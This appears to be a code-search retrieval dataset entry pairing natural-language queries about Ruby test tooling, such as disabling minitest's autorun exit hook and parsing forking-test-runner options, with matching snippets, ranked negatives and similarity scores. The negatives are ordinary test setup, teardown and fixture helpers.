"def flush_db\n [ 'active_sources', 'data_records', 'semantic_properties', 'semantic_relations', 'workflows'].reverse.each { |f| ActiveRecord::Base.connection.execute \"DELETE FROM #{f}\" }\n # Also remove the \"unsaved cache\" for the wrappers (may be important during testing)\n TaliaCore::SemanticCollectionWrapper.instance_variable_set(:'@unsaved_source_cache', {})\n end",
"def run_local\n # puts 'run_local'\n set_auto_attributes\n init_database\n begin\n run\n rescue => ex\n if self.respond_to?(:rescue_all)\n rescue_all(ex)\n else\n raise ex\n end\n end\n end",
"def setup\r\n # Retrieve fixtures via their name\r\n # @first = category(:first)\r\n end",
"def setup\n # reload the fixtures since each test is NOT wrapped in a transaction\n self.class.fixtures :all\n self.class.open_browser(@@testing_browser)\n end",
"def destroy_fixtures\n temporary_registration.destroy if defined?(@temporary_registration)\n registration.destroy if defined?(@registration)\n event_subscriber.destroy if defined?(@event_subscriber)\n event.destroy if defined?(@event)\n lesson.destroy if defined?(@lesson)\n end",
"def load_users_fixture\n unless @users_fixture_loaded\n self.method(:fixtures).call(user_symbol.to_s.pluralize.to_sym)\n @users_fixture_loaded = true\n end\n end",
"def read_fixtures\n # Read in all the files\n @file_list = Dir[\"#{@fixture_directory}/*.foxml.xml\"]\n \n # Get the PID for each one\n @file_list.each do |file|\n @pid_list << Hydra::FixtureUtils.extract_pid(file)\n end\n end",
"def load(*fixture)\n FixtureDependencies.load(*fixture)\n end",
"def preload_models \n ActiveRecord::Base.connection.tables.each do |model| \n begin \n \"#{model.classify}\".constantize \n rescue Exception \n end \n end \n end",
"def delete_all_records_from_all_tables\n if Rails.env.production?\n raise \"deleting all records in production is not alllowed\"\n else\n Rake::Task[\"db:schema:load\"].invoke\n end\nend",
"def delete_all_records_from_all_tables\n if Rails.env.production?\n raise \"deleting all records in production is not alllowed\"\n else\n Rake::Task[\"db:schema:load\"].invoke\n end\nend",
"def reset_associations_loaded\n associations_loaded = []\n end",
"def setup_shared_connection_pool\n return unless ActiveRecord::TestFixtures.respond_to?(:setup_shared_connection_pool)\n @legacy_saved_pool_configs ||= Hash.new { |hash, key| hash[key] = {} }\n @saved_pool_configs ||= Hash.new { |hash, key| hash[key] = {} }\n\n ActiveRecord::TestFixtures.instance_method(:setup_shared_connection_pool).bind(self).call\n end",
"def setup\n # Retrieve fixtures via their name\n # @first = contacts(:first)\n end",
"def destroy_all\n destroy(load_target).tap do\n reset\n loaded!\n end\n end",
"def test_initialize_database\n hook = ForemanHook::HostRename.new\n hook.log_level = Logger::WARN\n hook.database_path = File.dirname(__FILE__) + '/test.db'\n hook.initialize_database\n File.unlink hook.database_path\n end",
"def setup\n # Retrieve fixtures via their name\n # @first = volunteer_tasks(:first)\n end",
"def setup\n begin\n create_campaign_table_if_not_exist\n seed_data\n rescue Exception => e\n raise \"Database setup failed with error #{e}\"\n ensure\n @connection.close\n end\n end",
"def load_setup( name )\n reader = create_fixture_reader( name ) ### \"virtual\" method - required by concrete class\n\n reader.each do |fixture_name|\n load( fixture_name )\n end\n end",
"def run_after_fork\n @app.restore_db_connections_after_fork\n end",
"def fork_with_new_connection(config, klass = ActiveRecord::Base)\n raise StandardError, \"can't use forks with transactional fixtures\" if self.use_transactional_fixtures?\n fork do\n begin\n klass.establish_connection(config)\n yield\n ensure\n klass.remove_connection\n end\n end\n end",
"def load_seeds_data(table_name)\n seed_file = Rails.root.join('db','seeds_data',\"#{table_name}.yml\")\n YAML::load_file(seed_file)\n end",
"def random_fixture\n @fixtures_path = File.dirname(__FILE__) + '/../fixtures/models'\n fixtures = []\n Dir.foreach(@fixtures_path) do |item|\n next if item == '.' or item == '..' or item.end_with?('_glitched.obj') or !item.end_with?('.obj')\n fixtures << @fixtures_path + '/' + item\n end\n fixtures.sample\n end",
"def initial_setup\n # Copy across the application_record_loader.rb unless it already exists\n copy_file '../static_files/application_record_loader.rb',\n 'lib/record_loader/application_record_loader.rb',\n skip: true\n # Copy across the record_loader.rake unless it already exists\n copy_file '../static_files/record_loader.rake',\n 'lib/tasks/record_loader.rake',\n skip: true\n end",
"def testFixtureSetup()\n @windows = []\n # setup your objects for the tests (if needed)\n end",
"def testFixtureSetup()\n @windows = []\n # setup your objects for the tests (if needed)\n end",
"def setup\n # Retrieve fixtures via their name\n # @first = vr_cc_solicituds(:first)\n end",
"def load_schema\n config = YAML::load(IO.read(File.dirname(__FILE__) + '/database.yml'))\n\n db_adapter = ENV['DB']\n\n # no db passed, try one of these fine config-free DBs before bombing.\n db_adapter ||= 'mysql'\n\n if db_adapter.nil?\n raise \"No DB Adapter selected. Pass the DB= option to pick one, or install Sqlite or Sqlite3.\"\n end\n\n ActiveRecord::Base.establish_connection(config[db_adapter])\n #Fixtures.create_fixtures(File.dirname(__FILE__), ActiveRecord::Base.connection.tables)\n\n\n load(File.dirname(__FILE__) + \"/schema.rb\")\n require File.dirname(__FILE__) + '/../rails/init.rb'\nend",
"def seed\n establish_connection(\n database_yaml_path: options.fetch('database_yaml'),\n environment: options.fetch('environment')\n )\n\n load_seeds\n end",
"def install_fixtures\n fixtures = String.new\n if @config[@origin].has_key?('fixtures')\n fixtures = @config[@origin]['fixtures'].to_yaml.chop.gsub(\"---\\n\", '').gsub(\"\\n\", \"\\n \")\n end\n\n subs = {\n '##FIXTURES##' => fixtures,\n '##SHORT_NAME##' => @short_name,\n }\n\n install_template(\n [\"#{@templates}/.fixtures.yml\"], '.fixtures.yml', subs)\n end",
"def teardown\n Mongoid::Clients.default.database.collection_names.each do |c|\n Mongoid::Clients.default[c].drop\n end\n end",
"def teardown\n puts \"Teardown running...\"\n %x[rake db:reset]\n end",
"def teardown\n puts \"Teardown running...\"\n %x[rake db:reset]\n end",
"def teardown\n puts \"Teardown running...\"\n %x[rake db:reset]\n end",
"def teardown\n puts \"Teardown running...\"\n %x[rake db:reset]\n end",
"def ensure_physical_databases!\n @ensure_physical_databases ||= create_physical_databases\n end",
"def create_data_set_outside_tx(options = {})\n Rails.logger.info '** Creating data set outside transaction **'\n puts \"#{Time.now} ** Creating data set outside transaction **\"\n Thread.new do\n ActiveRecord::Base.connection_pool.with_connection do\n SeedSupport.setup\n create_data_set options\n end\n end.join\n end",
"def fixture(name)\n cars = JSON.parse(File.read(fixture_path_for(name)))\n\n store = CarStore.new(name)._with_immediate_refresh\n store.clear\n cars.each do |car_data|\n store.save(CarBuilder.build(car_data))\n end\n\n store\n end",
"def clean\n super\n\n with_connection { |connection| connection.execute(SQL_DELETE_TESTS) }\n end",
"def bootstrap_connections\n FileUtils.touch(connections_file)\n end",
"def teardown\n teardown_db\n end",
"def deleteAllFromTB(testbed)\n load\n # not implemented\n saveDnsmasqConfig\n end",
"def load_schema\n File.read(File.expand_path(\"fixtures/db_definitions/sqlite.sql\", __dir__)).split(\";\").each do |sql|\n ActiveRecord::Base.connection.execute(sql) unless sql.blank?\n end\n end",
"def load\n\n return unless Plan.where(name: name, postcode: postcode).empty?\n\n setup_events\n require 'csv'\n Dir.glob(File.join(Rails.root,\"fixtures/#{name_as_directory}/*\")).each do |filename|\n load_all_tasks_and_tag_for filename\n end\n setup_the_plan\n end",
"def db_seed_categories\n path = Rails.root.join('db','seeds','categories.yml')\n File.open(path) do |file|\n YAML.load_stream(file) do |doc|\n doc.keys.sort.each do |key|\n # puts \"Seeding comparison category structure #{key}\"\n # puts \"Warning this will delete any comparison category <-> question relationships existing for any duplicate categories\"\n attributes = doc[key]\n db_seed_category(attributes)\n end\n end\n end\nend",
"def load_default_test_data_to_db_before_suite\n community1 = FactoryGirl.create(:community, :ident => \"test\", :consent => \"test_consent0.1\", :settings => {\"locales\" => [\"en\", \"fi\"]}, :real_name_required => true)\n community1.community_customizations.create(name: \"Yelo\", locale: \"fi\")\n community2 = FactoryGirl.create(:community, :ident => \"test2\", :consent => \"KASSI_FI1.0\", :settings => {\"locales\" => [\"en\"]}, :real_name_required => true, :allowed_emails => \"@example.com\")\n community3 = FactoryGirl.create(:community, :ident => \"test3\", :consent => \"KASSI_FI1.0\", :settings => {\"locales\" => [\"en\"]}, :real_name_required => true)\n\n [community1, community2, community3].each { |c| TestHelpers::CategoriesHelper.load_test_categories_and_listing_shapes_to_db(c) }\n end",
"def reinitialize_db\n drop_db\n initialize_db\n end",
"def preload_test_ids\n result = run_in_fork do\n paths = []\n config.file_sets[\"all\"].each do |glob|\n paths.concat(Dir.glob(glob))\n end\n\n paths.each { |path| require File.expand_path(path) }\n\n require File.join(File.dirname(__FILE__), \"minitest_handler\")\n MiniTestHandler.preload_elements\n end\n\n config.cache_test_ids(result) unless result.nil?\n end",
"def before_eager_load(&block); end",
"def load_all; end",
"def load_all; end",
"def load_all; end",
"def flush_and_load_applications\n\t\t\t@r.flushall # Only hardcode baby!!!\n\n\t\t\t# Restoring all default applications \n\t\t\t@config[\"defaults\"][\"applications\"].each do |k,app|\n\t\t\t\t@r.set(\"apps:#{app['key']}\", app.reject{|a,v| a.eql?('key') }.to_json )\n\t\t\tend\n\t\t\t# We need this! Yeah baby we need this\n\t\t\t@r.bgsave\n\n\t\t\t# Puting alert that database cleaned\n\t\t\tputs \"\"\n\t\t\tputs \"ACHTUNG!: Database cleaned and default applications id loaded\"\n\t\t\tputs \"\"\n\t\tend",
"def flush_database\n\t\t\tp \"Flushing Database\"\n\t\t\tAdmin.destroy_all\n\t\t\tCountry.destroy_all\n\t\t\tDoorkeeper::Application.destroy_all\n\t\tend",
"def setup_database\n Hanami::Model.load!\n end",
"def clear_all_training_data\n @redis.flushdb\n end"
] |
[
"0.7689433",
"0.7288067",
"0.721409",
"0.7108288",
"0.69748354",
"0.6583475",
"0.6563983",
"0.6537219",
"0.6426591",
"0.6383931",
"0.62575036",
"0.6167778",
"0.6166913",
"0.6128",
"0.6100864",
"0.59841317",
"0.59573853",
"0.5943862",
"0.5943862",
"0.5937712",
"0.58950555",
"0.5864911",
"0.5864468",
"0.5814029",
"0.5807309",
"0.58050257",
"0.5797325",
"0.5791294",
"0.57756734",
"0.57514757",
"0.5727298",
"0.57174796",
"0.57164115",
"0.56724715",
"0.5670842",
"0.5650408",
"0.56473565",
"0.5643024",
"0.56236297",
"0.5606688",
"0.55954266",
"0.55942315",
"0.5590174",
"0.5566893",
"0.5563021",
"0.55496705",
"0.55458105",
"0.55392647",
"0.55311316",
"0.55097246",
"0.5509167",
"0.5442559",
"0.5407445",
"0.5385671",
"0.5385671",
"0.5380091",
"0.5372877",
"0.53719556",
"0.5359217",
"0.53537804",
"0.53479147",
"0.53464717",
"0.5343217",
"0.5330012",
"0.5323086",
"0.531256",
"0.5301043",
"0.5294119",
"0.5291338",
"0.5291338",
"0.52875596",
"0.5278552",
"0.5268776",
"0.5262797",
"0.52615464",
"0.52596676",
"0.52596676",
"0.52596676",
"0.52596676",
"0.52505684",
"0.5236605",
"0.52255523",
"0.5215379",
"0.5214175",
"0.520799",
"0.5192097",
"0.5188222",
"0.5179881",
"0.51736903",
"0.51715237",
"0.5171421",
"0.51707745",
"0.5169993",
"0.516668",
"0.516668",
"0.516668",
"0.5164173",
"0.5163776",
"0.51527905",
"0.5149391"
] |
0.7744954
|
0
|
don't let minitest setup another exit hook
|
def disable_test_autorun
toggle_test_autorun false
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def exit_skipping_test()\n Process.exit 99\nend",
"def set_exit_exception; end",
"def assert_clean_exit\n assert(0 == exit_status)\n end",
"def assert_no_clean_exit\n assert(0 != exit_status)\n end",
"def coolest_exit\n Kernel.exit! 99\n end",
"def exit_hook\n # Avoid hooking the exit when rspec is running, otherwise it will always return 0\n # and Travis won't detect failed builds. Couldn't find a better way, even though\n # some people managed to https://github.com/rspec/rspec-core/pull/410\n return if defined?(RSpec)\n\n at_exit do\n exit(run_error_exit_code) if run_error\n\n controller = controllers.first\n\n # The parsed_option[:url] must be checked to avoid raising erros when only -h/-v are given\n exit(NS::ExitCode::VULNERABLE) if controller.parsed_options[:url] && controller.target.vulnerable?\n exit(NS::ExitCode::OK)\n end\n end",
"def at_exit(&block); end",
"def exit() end",
"def exit!() end",
"def exit(res=0) end",
"def exit!(res=0) end",
"def exit_neat\n pre_exit_hook(self) unless pre_exit_none?\n exit\n end",
"def mark_as_exit\n @exit = true\n end",
"def set_no_fail_on_exit(b)\n $marathon.set_no_fail_on_exit(b)\nend",
"def set_no_fail_on_exit(b)\n $marathon.set_no_fail_on_exit(b)\nend",
"def on_exit\n end",
"def before_teardown; end",
"def after_exit(&block)\n end",
"def handle_exit\n __exit! if respond_to?(:__exit!)\n exit(0)\n end",
"def exit(ret)\n @exit_status = ret\n if defined? Rbkb::Cli::TESTING\n throw(((ret==0)? :exit_zero : :exit_err), ret)\n else\n Kernel.exit(ret)\n end\n end",
"def forced_exit?; @quit > 1 end",
"def final_test\n return unless MiniApivore.all_test_ran?\n\n @errors = MiniApivore.prepare_untested_errors\n assert(@errors.empty?, @errors.join(\"\\n\"))\n\n # preventing duplicate execution\n MiniApivore.runnable_list << \"#{self.class}::#{__method__}_runned\"\n end",
"def test_should_be_setup\n assert false\n end",
"def exit_jukebox\n puts \"Goodbye!\"\n # I feel like this still needs something to exit the program though, but apparently rspec doesn't care\nend",
"def after_test(_test); end",
"def after_test(_test); end",
"def after_test(_test); end",
"def at_exit\n\n\t\tend",
"def run_exit_tasks!; end",
"def teardown\n puts \"tear down\"\n end",
"def clean_exit\n passed = all_by_exit_status(@test_data['test_exit_message_passed'])\n failed = all_by_exit_status(@test_data['test_exit_message_failed'])\n skipped = all_by_exit_status(@test_data['test_exit_message_skipped'])\n @test_data.merge!({'execution_time' => @execution_time, 'passed' => passed, 'failed' => failed, 'skipped' => skipped})\n Publisher.new(@test_data).publish_reports\n puts(\"\\n==> DONE\\n\\n\")\n puts(\" -- execution time : #{@execution_time.to_s} secs\\n\")\n puts(\" -- tests executed : #{@executed_tests.to_s}\\n\")\n puts(\" -- reports prepared: #{@test_data['reports_dir']}\\n\")\n puts(\" -- tests passed : #{passed.length.to_s}\\n\")\n puts(\" -- tests failed : #{failed.length.to_s}\\n\")\n puts(\" -- tests skipped : #{skipped.length.to_s}\\n\")\n if (@test_data['test_retry'] > 0)\n puts(\" -- tests re-tried : #{@tests_retried_counter.to_s}\\n\")\n end\n if failed.length > 0\n puts(\"\\n\\n==> STATUS: [ some tests failed - execution failed ]\\n\")\n exit(1)\n end\n exit(0)\nend",
"def act\n exit 1\n end",
"def act\n exit 1\n end",
"def after_teardown; end",
"def delayed_exit\n sleep 0.1\n exit\n end",
"def exit(args)\nend",
"def setup_exit_handler\n main = Process.pid\n at_exit do\n @driver.driver_quit if Process.pid == main\n end\n end",
"def exit_exception; end",
"def test_unit_can_be_killed\n end",
"def teardown\n @suite.p \"\\n:: [TEARDOWN]\\n\"\n end",
"def test_after_exit\n flag = false\n @acc = 0\n def bar\n __label__ 20\n @acc = @acc + 1\n end\n bar\n unless flag\n flag = true\n __goto__ 20\n end\n assert_equal 2, @acc\n end",
"def abort_test!\n throw 'abort_test!'\n end",
"def exit\n @main_loop = false\n end",
"def hook_exit\n return if @@exit_hooked\n if scope.template.exit\n at_exit do\n exit!\n end\n end\n @@exit_hooked = true\n end",
"def system_exit\n exit 1\n end",
"def exited?(*) end",
"def teardown; end",
"def teardown; end",
"def teardown\n reset_test_env\n end",
"def teardown\n reset_test_env\n end",
"def abort(reason)\n puts \"Test failed: #{reason}\"\n if EventMachine.reactor_running?\n EventMachine.stop()\n end\n exit(FAILURE_EXIT_STATUS)\n end",
"def exit\n raise ActionExit.new\n end",
"def exit_checker(arg)\n if arg == \"exit\"\n puts \"Goodbye!\"\n return exit\n end\n end",
"def assert_exits(command = nil)\n assert_raises SystemExit do\n if command\n command.run\n else\n yield\n end\n end\n end",
"def rescue_at_exit!\n logger.info \"Attached to application exit.\"\n at_exit { report($!) if $! && !last_reported.equal?($!) }\n end",
"def teardown\n\t\tputs \"Completed unit test execution\"\n\tend",
"def autorun!\n at_exit do\n exit 1 unless run!\n end\n end",
"def test_exitstatus\n with_fixture 'exitstatus' do\n assert system(\"ruby\", ocra, \"exitstatus.rb\", *DefaultArgs)\n system(\"exitstatus.exe\")\n assert_equal 167, $?.exitstatus\n end\n end",
"def teardown\n # do something\n end",
"def test_entry\n raise \"Implement this method in your test class\"\n end",
"def teardown\n # if necessary\n end",
"def assert_no_error_occurred\n assert_exit_status(0)\n end",
"def teardown\n # empty\n end",
"def dont_exit_on_help=(val) #:nodoc:\n @@exit = true\n end",
"def test(what = nil)\n ActiveRecord::Base.logger.silence do\n case what\n when NilClass, :all\n rake \"test:units\"\n when String\n begin\n old_env, ENV[\"RAILS_ENV\"] = ENV[\"RAILS_ENV\"], \"test\"\n ENV['TEST'] = \"test/#{what}_test.rb\"\n rake \"test:single\"\n ensure\n ENV['TEST'] = nil\n ENV[\"RAILS_ENV\"] = old_env\n end\n end\n end\n nil\n rescue SystemExit\n nil\n end",
"def before_teardown\n super\n @flexmock_teardown_failure = nil\n if respond_to?(:capture_exceptions)\n capture_exceptions do\n flexmock_teardown\n end\n else\n begin\n flexmock_teardown\n rescue Exception => e\n @flexmock_teardown_failure = e\n end\n end\n end",
"def exit_state\n end",
"def teardown\r\n # Do nothing\r\n end",
"def teardown\r\n # Do nothing\r\n end",
"def teardown\r\n # Do nothing\r\n end",
"def teardown\r\n # Do nothing\r\n end",
"def teardown\r\n # Do nothing\r\n end",
"def teardown\r\n # Do nothing\r\n end",
"def teardown\r\n # Do nothing\r\n end",
"def teardown\r\n # Do nothing\r\n end",
"def teardown\r\n # Do nothing\r\n end",
"def teardown\r\n # Do nothing\r\n end",
"def test_end_fail\r\n \t@test_prospector.move_count = 1\r\n \tassert_equal false, @test_prospector.end?\r\n end",
"def tear_down_suite()\n return \"deleted!\"\n end",
"def teardown\n # Do nothing\n end",
"def setup_end_action\n @break_action = true\n @finish = true\n end",
"def recycle; teardown; setup; end",
"def teardown\n # Do nothing\n end",
"def teardown\n # Do nothing\n end",
"def teardown\n # Do nothing\n end",
"def teardown\n # Do nothing\n end",
"def teardown\n # Do nothing\n end",
"def teardown\n # Do nothing\n end",
"def teardown\n # Do nothing\n end",
"def teardown\n # Do nothing\n end",
"def teardown\n # Do nothing\n end",
"def teardown\n # Do nothing\n end",
"def teardown\n # Do nothing\n end",
"def teardown\n # Do nothing\n end",
"def teardown\n # Do nothing\n end",
"def teardown\n # Do nothing\n end",
"def teardown\n # Do nothing\n end",
"def teardown\n # Do nothing\n end",
"def teardown\n # Do nothing\n end",
"def teardown\n # Do nothing\n end",
"def teardown\n # Do nothing\n end"
] |
[
"0.74580383",
"0.71610457",
"0.7152282",
"0.71249247",
"0.70512414",
"0.7000419",
"0.69370043",
"0.6891331",
"0.68888855",
"0.6787687",
"0.677607",
"0.6635127",
"0.66083074",
"0.6604842",
"0.6604842",
"0.65952295",
"0.6541772",
"0.65209746",
"0.65112644",
"0.64879537",
"0.6486532",
"0.6478621",
"0.64731324",
"0.6465264",
"0.6448056",
"0.6448056",
"0.6448056",
"0.6367365",
"0.63507175",
"0.63391584",
"0.6316899",
"0.63143545",
"0.63143545",
"0.6310785",
"0.6300426",
"0.62960887",
"0.6293946",
"0.6292962",
"0.62756974",
"0.62655544",
"0.62522125",
"0.6186164",
"0.6172611",
"0.6169277",
"0.6159165",
"0.6152488",
"0.6126057",
"0.6126057",
"0.61242956",
"0.61242956",
"0.6106798",
"0.61041117",
"0.6091477",
"0.60881114",
"0.60816807",
"0.6080899",
"0.60783774",
"0.6059635",
"0.6051208",
"0.6050162",
"0.6049509",
"0.6044661",
"0.6043404",
"0.60317206",
"0.6010863",
"0.59961665",
"0.5989236",
"0.5987818",
"0.5987818",
"0.5987818",
"0.5987818",
"0.5987818",
"0.5987818",
"0.5987818",
"0.5987818",
"0.5987818",
"0.5987818",
"0.5978203",
"0.59680057",
"0.5951717",
"0.5936866",
"0.5923774",
"0.592331",
"0.592331",
"0.592331",
"0.592331",
"0.592331",
"0.592331",
"0.592331",
"0.592331",
"0.592331",
"0.592331",
"0.592331",
"0.592331",
"0.592331",
"0.592331",
"0.592331",
"0.592331",
"0.592331",
"0.592331",
"0.592331"
] |
0.0
|
-1
|
we remove the args we understand and leave the rest alone so minitest / rspec can read their own options (seed / v ...) keep our options clear / unambiguous to avoid overriding read all serial nonflag arguments as tests and leave only unknown options behind use .fetch everywhere to make sure nothing is misspelled GOOD: test ours theirs OK: ours test theirs BAD: theirs test ours
|
def parse_options(argv)
arguments = [
[:rspec, "--rspec", "RSpec mode"],
[:helper, "--helper", "Helper file to load before tests start", String],
[:quiet, "--quiet", "Quiet"],
[:no_fixtures, "--no-fixtures", "Do not load fixtures"],
[:no_ar, "--no-ar", "Disable ActiveRecord logic"],
[:merge_coverage, "--merge-coverage", "Merge base code coverage into indvidual files coverage, great for SingleCov"],
[
:record_runtime,
"--record-runtime=MODE",
"\n Record test runtime:\n" <<
" simple = write to disk at --runtime-log)\n" <<
" amend = write from multiple remote workers via http://github.com/grosser/amend, needs TRAVIS_REPO_SLUG & TRAVIS_BUILD_NUMBER",
String
],
[:runtime_log, "--runtime-log=FILE", "File to store runtime log in or runtime.log", String],
[:group, "--group=NUM", "What group this is (use with --groups / starts at 1)", Integer],
[:groups, "--groups=NUM", "How many groups there are in total (use with --group)", Integer],
[:version, "--version", "Show version"],
[:help, "--help", "Show help"]
]
options = arguments.each_with_object({}) do |(setting, flag, _, type), all|
all[setting] = delete_argv(flag.split('=', 2)[0], argv, type: type)
end
# show version
if options.fetch(:version)
puts VERSION
exit 0
end
# # show help
if options[:help]
parser = OptionParser.new("forking-test-runner folder [options]", 32, '') do |opts|
arguments.each do |_, flag, desc, type|
opts.on(flag, desc, type)
end
end
puts parser
exit 0
end
# check if we can use merge_coverage
if options.fetch(:merge_coverage)
require 'coverage'
abort "merge_coverage does not work on Ruby prior to 2.3 due to the lack of the Coverage.peek_result method" unless Coverage.method_defined?(:peek_result)
klass = (class << Coverage; self; end)
klass.prepend CoverageCapture
end
# all remaining non-flag options until the next flag must be tests
next_flag = argv.index { |arg| arg.start_with?("-") } || argv.size
tests = argv.slice!(0, next_flag)
abort "No tests or folders found in arguments" if tests.empty?
tests.each { |t| abort "Unable to find #{t}" unless File.exist?(t) }
[options, tests]
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def parse_command_line args\n args.options do |opt|\n opt.on(\"rutema v#{Version::STRING}\")\n opt.on(\"Options:\")\n opt.on(\"--config FILE\", \"-c FILE\",String,\"Loads the configuration from FILE\") { |config_file| @config_file=config_file}\n opt.on(\"--check\",\"Runs just the suite setup test\"){@check=true}\n #opt.on(\"--step\",\"Runs test cases step by step\"){@step=true}\n opt.on(\"--silent\",\"Suppresses console output (only for the default reporters)\") { @silent=true}\n opt.on(\"--bare\",\"No default reporters whatsoever\") { @bare=true}\n #opt.on(\"--color\",\"Adds color to the Console reporter\") { @color=true}\n opt.on(\"-v\", \"--version\",\"Displays the version\") { $stdout.puts(\"rutema v#{Version::STRING}\");exit 0 }\n opt.on(\"--help\", \"-h\", \"-?\", \"This text\") { $stdout.puts opt; exit 0 }\n opt.on(\"--debug\", \"-d\", \"Turn on debug messages\") { $DEBUG=true }\n opt.on(\"You can provide a specification filename in order to run a single test\")\n opt.parse!\n #and now the rest\n unless @config_file\n puts \"No configuration file defined!\\n\"\n $stdout.puts opt \n exit 1\n end\n if !args.empty?\n @test_identifier=args.shift\n end\n end\n end",
"def args\n options = {}\n options[:type] = ARGV[0]\n options[:url] = ARGV[1]\n\n if (ARGV[2].include? \"--custom-auth\") # [--custom-auth | --common-words | --vectors | --sensitive | --random | --slow]\n options[:auth] = 'dvwa'\n elsif (ARGV[2].include? \"--common-words\")\n @words = true\n arg = ARGV[2].split(\"=\")\n options[:words] = arg[1]\n end\n\n if (ARGV[3])\n arg = ARGV[3].split(\"=\")\n if (ARGV[3].include? \"--common-words\")\n @words = true\n options[:words] = arg[1]\n elsif (ARGV[3].include? \"--vectors\")\n @vectors = true\n options[:vectors] = arg[1]\n end\n end\n\n if (ARGV[4])\n arg = ARGV[4].split(\"=\")\n if (ARGV[4].include? \"--vectors\")\n @vectors = true\n options[:vectors] = arg[1]\n elsif (ARGV[4].include? \"--sensitive\")\n @sensitive = true\n options[:sensitive] = arg[1]\n end\n end\n\n if (ARGV[5])\n arg = ARGV[5].split(\"=\")\n if (ARGV[5].include? \"--sensitive\")\n @sensitive = true\n options[:sensitive] = arg[1]\n elsif (ARGV[5].include? \"--random\")\n if (arg[1] == \"true\")\n @random = true\n end\n options[:random] = arg[1]\n elsif (ARGV[5].include? \"--slow\")\n @slow = true\n options[:slow] = arg[1]\n end\n end\n\n if (ARGV[6])\n arg = ARGV[6].split(\"=\")\n if (ARGV[6].include? \"--random\")\n if (arg[1] == \"true\")\n @random = true\n end\n options[:random] = arg[1]\n elsif (ARGV[6].include? \"--slow\")\n @slow = true\n options[:slow] = arg[1]\n end\n end\n\n if (ARGV[7])\n arg = ARGV[7].split(\"=\")\n if (ARGV[7].include? \"--slow\")\n @slow = true\n options[:slow] = arg[1]\n end\n end\n\n options\nend",
"def test_multi_stringflag_as_strings\n opts = @p.parse %w(--xyz dog --xyz cat)\n assert_equal true, opts[:xyz_given]\n assert_equal [\"dog\",\"cat\"], opts[:xyz]\n assert_equal [], opts[:abc] # note, multi-args default to empty array\n assert_nil opts[:ghi_given]\n assert_equal [\"gg\",\"hh\"], opts[:ghi]\n end",
"def parse_cmd_arguments( args ) # {{{\n\n original_args = args.dup\n options = OpenStruct.new\n\n # Define default options\n options.verbose = false\n options.colorize = false\n options.process = []\n options.sources = []\n options.debug = false\n options.db_path = \"data/databases/test.sqlite3\"\n options.db_type = \"sqlite3\"\n options.read = false\n options.automatic = false\n options.interval = 3600 # update normally only every hour\n options.rate = false\n options.username = \"\"\n options.manual_input = false\n options.joke_count = false\n options.random_intervals = false\n options.random_interval_time = 25\n\n pristine_options = options.dup\n\n opts = OptionParser.new do |opts|\n opts.banner = \"Usage: #{__FILE__.to_s} [options]\"\n\n opts.separator \"\"\n opts.separator \"General options:\"\n\n opts.on(\"-d\", \"--db-path PATH\", \"Use the database which can be found in PATH\") do |d|\n options.db_path = d\n end\n\n opts.on(\"-t\", \"--db-type TYPE\", \"Use the database of class TYPE (e.g. sqlite3)\") do |t|\n options.db_type = t\n end\n\n opts.on(\"-r\", \"--read\", \"Read jokes that are stored in the DB\") do |r|\n options.read = r\n end\n\n opts.on(\"-r\", \"--rate\", \"Rate jokes that are stored in the DB for user account\") do |r|\n options.rate = r\n end\n\n opts.on(\"-u\", \"--username OPT\", \"Use username OPT\") do |u|\n options.username = u\n end\n\n opts.on(\"-m\", \"--manual-input\", \"Input a joke manually to the Database\") do |m|\n options.manual_input = m\n end\n\n opts.on(\"-j\", \"--joke-count\", \"Count how many jokes we have in the Database\") do |j|\n options.joke_count = j\n end\n\n opts.on(\"-r\", \"--random-intervals\", \"Use random intervals when downloading to mask our usage pattern\") do |r|\n options.random_intervals = r\n end\n\n opts.separator \"\"\n opts.separator \"Specific options:\"\n\n # Boolean switch.\n opts.on(\"-a\", \"--automatic\", \"Run automatically every #{options.interval.to_s} seconds unless the --interval option is given\") do |a|\n options.automatic = a\n end\n\n opts.on(\"-i\", \"--interval OPT\", \"Run every OPT seconds (works only with --automatic together)\") do |i|\n options.interval = i.to_i\n end\n\n # Set of arguments\n opts.on(\"-p\", \"--process OPT\", @configurations, \"Process one or more detected configuration (OPT: #{ @configurations.sort.join(', ') })\" ) do |d|\n options.process << d\n end\n\n # Set of arguments\n opts.on(\"-s\", \"--sources OPT\", @configurations, \"Use only these sources for read and rate (OPT: #{ @configurations.sort.join(', ') })\" ) do |d|\n options.sources << d\n end\n\n # Boolean switch.\n opts.on(\"-v\", \"--verbose\", \"Run verbosely\") do |v|\n options.verbose = v\n end\n\n opts.on(\"-d\", \"--debug\", \"Run in debug mode\") do |d|\n options.debug = d\n end\n\n # Boolean switch.\n opts.on(\"-q\", \"--quiet\", \"Run quietly, don't output much\") do |v|\n options.verbose = v\n end\n\n opts.separator \"\"\n opts.separator \"Common options:\"\n\n # Boolean switch.\n opts.on(\"-c\", \"--colorize\", \"Colorizes the output of the script for easier reading\") do |c|\n options.colorize = c\n end\n\n opts.on_tail(\"-h\", \"--help\", \"Show this message\") do\n puts opts\n exit\n end\n\n # Another typical switch to print the version.\n opts.on_tail(\"--version\", \"Show version\") do\n puts `git describe --tags`\n exit\n end\n end\n\n opts.parse!(args)\n\n # Show opts if we have no cmd arguments\n if( original_args.empty? )\n puts opts\n exit\n end\n\n options\n end",
"def delete_legacy_args args\n args.delete '--inline-source'\n args.delete '--promiscuous'\n args.delete '-p'\n args.delete '--one-file'\n end",
"def delete_legacy_args args\n args.delete '--inline-source'\n args.delete '--promiscuous'\n args.delete '-p'\n args.delete '--one-file'\n end",
"def test_stringflag_unset\n @p.opt :xyz, \"desc\", :type => :stringflag\n @p.opt :abc, \"desc\", :type => :flag\n opts = @p.parse %w()\n assert_equal false, opts[:xyz]\n assert_equal false, opts[:abc]\n opts = @p.parse %w(--abc)\n assert_equal false, opts[:xyz]\n assert_equal true, opts[:abc]\n end",
